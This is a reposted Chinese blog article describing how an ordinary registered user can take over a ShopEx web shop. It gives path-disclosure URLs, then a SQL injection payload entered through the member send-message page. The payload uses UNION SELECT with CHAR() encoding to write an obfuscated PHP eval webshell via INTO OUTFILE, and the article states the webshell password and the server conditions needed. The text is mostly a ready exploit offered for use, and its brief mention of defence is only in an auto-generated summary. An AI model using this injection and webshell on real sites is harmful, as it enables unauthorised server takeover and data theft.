shopex前台普通用户getshell最新漏洞

最新推荐文章于 2021-04-06 22:45:04 发布

转载最新推荐文章于 2021-04-06 22:45:04 发布 · 1k 阅读

漏洞收集专栏收录该内容

207 篇文章

订阅专栏

本文详细介绍了如何通过寻找网站漏洞，注册普通用户并发送消息来实施WebShell注入，进而实现对目标网站的控制。重点阐述了利用特定路径、注册用户、发送消息等步骤，以及WebShell代码的构造方法，同时强调了对于数据库权限、目录写权限以及服务器环境的要求。此外，文章还提及了WebShell注入后的潜在风险和防御策略。

摘要生成于 C知道，由 DeepSeek-R1 满血版支持，前往体验 >

第一个：想办法找到目标网站的绝对路径

http://www.baidu.com/install/svinfo.php?phpinfo=true

http://www.baidu.com/core/api/shop_api.php

http://www.baidu.com/core/api/site/2.0/api_b2b_2_0_cat.php

http://www.baidu.com/core/api/site/2.0/api_b2b_2_0_goodstype.php

http://www.baidu.com/core/api/site/2.0/api_b2b_2_0_brand.php

shopex存在很多爆路径的漏洞，请自行研究。
第二个：注册一个普通用户

http://www.baidu.com/?passport-signup.html

第三个：发送消息

http://www.baidu.com/?member-send.html

代码

 webshell.cc' union select  CHAR(60, 63, 112, 104, 112, 32, 64, 101, 118, 97, 108, 40, 36, 95, 80, 79, 83, 84, 91, 39, 35, 39, 93, 41, 59, 63, 62) into outfile 'E:/zkeysoft/www/x.php'  #

一句话的密码是#

这个漏洞，对于mysql用户权限有要求的，对于导出的目录也得有可写的要求，服务器环境也有要求。

shell图